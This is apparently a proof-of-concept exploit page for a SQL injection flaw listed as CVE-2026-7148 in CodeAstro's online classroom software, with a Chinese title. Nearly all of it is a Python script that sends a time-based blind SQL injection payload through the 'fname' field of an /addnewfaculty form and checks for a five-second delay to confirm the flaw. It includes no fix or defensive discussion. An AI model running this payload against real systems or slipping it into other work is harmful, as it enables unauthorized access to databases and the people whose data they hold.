CVE-2026-7148 CodeAstro在线课堂SQL注入漏洞

import requests # Target URL (replace with actual target) target_url = "http://example.com/addnewfaculty" # Injection payload for 'fname' parameter # Using a time-based blind SQL injection payload as a proof of concept payload = { "fname": "test' AND (SELECT SLEEP(5))-- -", # Other required parameters (if any) should be included here } try: print(f"Sending request to {target_url}...") response = requests.post(target_url, data=payload) # Check if the response time indicates successful injection (delay > 5 seconds) if response.elapsed.total_seconds() > 5: print("[+] Vulnerability confirmed! The application responded with a delay.") else: print("[-] Vulnerability not confirmed or payload failed.") except Exception as e: print(f"Error: {e}")